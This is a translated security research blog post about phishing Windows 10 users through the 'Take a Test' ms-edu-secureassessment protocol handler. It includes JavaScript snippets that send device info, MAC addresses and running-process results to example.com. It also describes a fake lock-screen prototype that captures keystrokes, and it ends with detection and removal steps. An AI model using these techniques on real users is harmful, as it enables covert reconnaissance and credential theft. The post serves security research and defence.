0x00 概述
当我在Windows中寻找新攻击面的过程中,我经常会使用默认的文件处理程序和LOLBins。其中的默认协议处理程序引起了我的注意,当我在Windows 10进入到“按照协议选择默认应用程序”界面时,发现了此前没有看到过的新功能,名为“Take a Test”。
我迅速搜索了有关于这个处理程序的相关资料,但没有找到太多的研究成果。我发现,Adam在2018年发表的Windows 10 URL Schemes列表中就已经包含了这一处理程序,因此可以证明它已经存在了一段时间,但除此之外没有找到任何信息。
我最终还是找到了关于“Take a Test”的一些参考文档,具体如下:
https://docs.microsoft.com/en-us/education/windows/take-tests-in-windows-10
https://docs.microsoft.com/en-us/education/windows/take-a-test-app-technical
https://github.com/SmarterApp/SB_BIRT/blob/master/irp/doc/req/SecureBrowserAPIspecification.md
根据上述Microsoft文档,“Take a Test”的用途是:
“许多学校会使用在线测试来进行形成性评估和总结性评估。在此过程中,应保证学生使用安全的浏览器,以防止其在测试过程中使用其他计算机或互联网资源。”
这个协议处理程序为共享链接提供了一种简便的方法,可以在Kiosk类型的环境中安全地启动浏览器,从而让学生参加线上组织的考试。该浏览器不仅可以防止注意力不集中,并且还提供了一些功能,可以对用户进行限制,同时为考试组织者提供一些态势感知的功能,以防止作弊。
Microsoft的“Take a Test”实现在很大程度上都符合上述通用的“安全浏览器”规范。听起来非常合理,但是需要注意的是,这个协议处理程序会随Windows 10的所有版本一起提供,包括可能不会使用到该功能的版本系统。接下来,让我们进一步分析其工作原理。
0x01 协议处理程序
“Take a Test”的URL可以按照以下方式来构造,并且可以通过任意方式共享:
ms-edu-secureassessment:https://example.com/#enforcelockdown
Microsoft还提供了以下的Web应用程序,以帮助创建链接:
https://takeatest.blob.core.windows.net/takeatest-link-generator/testpage.html
下面是一个示例:
ms-edu-secureassessment:https://www.youtube.com/watch?v=dQw4w9WgXcQ#enforcelockdown
要退出“Take a Test”应用程序,需要使用Ctrl + Alt + Delete。
协议处理程序启动:
C:\Windows\SystemApps\Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy\SecureAssessmentBrowser.exe
0x02 警告
在继续进行操作之前,需要先分析一下在单击上述链接时弹出的警告消息,我确信大家都没有单击该链接。
您信任example.com吗?该站点希望控制您的计算机。
这一提示可能会被攻击者利用,最终导致的结果就是用户会忽略警告,并困在全屏播放的视频界面中。
如果接受了警告提示,则“Take a Test”安全浏览器具有以下特性:
1、在锁定屏幕上方全屏运行;
2、需要使用Ctrl + Alt + Delete以退出;
3、其中包含一些安全浏览器API,可以帮助考试组织者发现作弊者。
0x03 终端枚举
在安全浏览器实现中,公开了JavaScript API,以允许考试组织者检查考生的状态。
SecureBrowser.security.getDeviceInfo
SecureBrowser.security.getMACAddress
SecureBrowser.security.examineProcessList
SecureBrowser.security.isRemoteSession
SecureBrowser.security.isVMSession
为了研究潜在的网络钓鱼攻击场景,我开始尝试研究其中的一些方法。我使用有效的TLS部署了标准的Web服务器,并开始尝试一些值得关注的方法。
例如,我们可以使用以下示例,使用getDeviceInfo的输出结果发送GET请求:
const deviceInfo = function(info){ var xhr = new XMLHttpRequest(); xhr.open('GET', 'https://example.com/?getDeviceInfo?info=' + info); xhr.send(); } SecureBrowser.security.getDeviceInfo(deviceInfo);
在测试虚拟机中,返回结果如下:
{"manufacturer":"Microsoft Corporation","SWVer":"10.0.19042.804"} In a similar light we invoke getMacAddress: const getMacAddress = function(mac){ var xhr = new XMLHttpRequest(); xhr.open('GET', 'https://example.com/?getMacAddress=' + mac); xhr.send(); } SecureBrowser.security.getMACAddress(getMacAddress);
我们还可以获取主NIC的完整MAC地址:
GET /?getMacAddress=00155D014310 HTTP/1.1
接下来,我们分析examineProcessList,就如同Microsoft描述的那样:
“获取用户所使用的客户端计算机上运行的所有进程列表。考试应用程序将调用它来检查列表,并将其与考试期间被视为黑名单的进程列表进行比较。在考试开始时和进行期间,应该定期进行这一调用。如果发现了黑名单进程,则应停止考试以确保公平性。”
因此,它不会返回完整的进程列表,但事实证明我们可以提供大量的潜在进程,并且它能够返回正在运行的进程。在检查进程的时候,我没有发现这里有任何限制。不过,这个功能仅限于以当前用户身份运行的进程,所以不太适用于检查运行了哪些安全产品,因为这些安全产品通常都是以SYSTEM身份运行的。
这个功能确实有能力枚举我们正在使用的软件,攻击者利用这些信息即可定位目标,并在获取到访问权限后准备Payload或漏洞利用。此外,这个功能可以帮助攻击者将Payload准确发送到特定终端,同时有助于绕过那些比较麻烦的沙箱。
一个简单的实现如下所示:
const badProcesses = function (foundProcesses) { var xhr = new XMLHttpRequest(); xhr.open('GET', 'https://example.com/?examineProcessList=' + foundProcesses); xhr.send(); } SecureBrowser.security.examineProcessList(['onedrive.exe','vpnui.exe', 'notepad.exe'], badProcesses);
除了这些API之外,还有一些检查用于确认是否在虚拟机或远程会话中运行,另外的一些检查可以限制终端在考试期间仅能够使用所需的功能,以及执行清空剪贴板的操作。
0x04 侦查应用
我使用Python、Flask和jQuery组合编写了概念证明。
视频:https://vimeo.com/521312160
从视频中可以看出,我们的PoC展示了收集到的用户信息以及服务端记录的所有数据。不过,这些全部是HTML、CSS和JavaScript,因此如果要修改外观和体验非常简单。
大家可以从GitHub的ActiveBreach repo中获取此PoC以进行尝试:
https://github.com/mdsecactivebreach/TakeATest
0x05 捕获凭据
在我的研究过程中,我想到一个问题,这个“Take a Test”应用程序始终在锁定屏幕上方全屏运行,并且需要使用某个组合键才能退出,这样的特性非常值得研究,并且可能会遇到针对凭据的网络钓鱼攻击。
我想到了一个快速的原型来模拟锁屏,以证明这一观点:
在后台,我执行了上面所述的所有枚举,并使用AJAX实时发送了用户的击键。我们同样可以尝试将其与Evilginx之类的工具结合使用,以传递到合法的登录终端。
0x06 总结
Windows 10中默认的ms-edu-secureassessment://协议处理程序非常值得关注。在单击精心构造的URL时会弹出警告,但除此之外,还存在一些有趣的功能,攻击者可以在未攻陷系统的情况下仅通过JavaScript就能使用这些功能。从侦查和定位目标的角度来看,这个功能是非常有帮助的。如上所述,还可以利用这一功能来实现其他用途,特别是利用它位于锁定屏幕上方的独特位置,例如可以将其用于凭据捕获。
0x07 检测与防范
要阻止“Take a Test”功能,我们可以按照以下步骤操作:
1、检测和阻止正在运行的C:\Windows\SystemApps\Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy\SecureAssessmentBrowser.exe实例。
2、取消设置默认协议处理程序`ms-edu-secureassessment://`。
以下是安全评估浏览器AppX Package:
Name : Microsoft.Windows.SecureAssessmentBrowser Publisher : CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Architecture : Neutral ResourceId : neutral Version : 10.0.19041.423 PackageFullName : Microsoft.Windows.SecureAssessmentBrowser_10.0.19041.423_neutral_neutral_cw5n1h2txyewy InstallLocation : C:\Windows\SystemApps\Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy IsFramework : False PackageFamilyName : Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy PublisherId : cw5n1h2txyewy IsResourcePackage : False IsBundle : False IsDevelopmentMode : False NonRemovable : True IsPartiallyStaged : False SignatureKind : System Status : Ok
我尝试按照以下步骤删除,但出现了错误提示“此应用程序是Windows的一部分,无法根据用户需要卸载”。
PS C:\Windows\system32> Remove-AppxPackage -Package "Microsoft.Windows.SecureAssessmentBrowser_10.0.19041.423_neutral_neutral_cw5n1h2txyewy" Remove-AppxPackage : Deployment failed with HRESULT: 0x80073CFA, Removal failed. Please contact your software vendor. (Exception from HRESULT: 0x80073CFA) error 0x80070032: AppX Deployment Remove operation on package Microsoft.Windows.SecureAssessmentBrowser_10.0.19041.423_neutral_neutral_cw5n1h2txyewy from: C:\Windows\SystemApps\Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy failed. This app is part of Windows and cannot be uninstalled on a per-user basis. An administrator can attempt to remove the app from the computer using Turn Windows Features on or off. However, it may not be possible to uninstall the app. NOTE: For additional information, look for [ActivityId] cfb26e27-133a-0006-b879-b4cf3a13d701 in the Event Log or use the command line Get-AppPackageLog -ActivityID cfb26e27-133a-0006-b879-b4cf3a13d701 At line:1 char:1 + Remove-AppxPackage -Package "Microsoft.Windows.SecureAssessmentBrowse ... + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : WriteError: (Microsoft.Windo...l_cw5n1h2txyewy:String) [Remove-AppxPackage], IOException + FullyQualifiedErrorId : DeploymentError,Microsoft.Windows.Appx.PackageManager.Commands.RemoveAppxPackageCommand
不过,可能还有一种解决方法,那就是将其直接删除。我们假设它没有任何其他有效的用途。
0x08 后续工作
在这些组件中可能还存在其他攻击面,包括:
SecureAssessmentBrowser.exe - 安全浏览器实现本身
SecureAssessment_JSBridge.dll 和 SecureAssessment_JSBridge.winmd - JavaScript Bridge实现
不过,与其他Windows组件一样,对它们进行仔细检查的可能性似乎也比较小。
这篇文章由David Middlehurst撰写。
本文翻译自:https://www.mdsec.co.uk/2021/03/phishing-users-to-take-a-test/如若转载,请注明原文地址: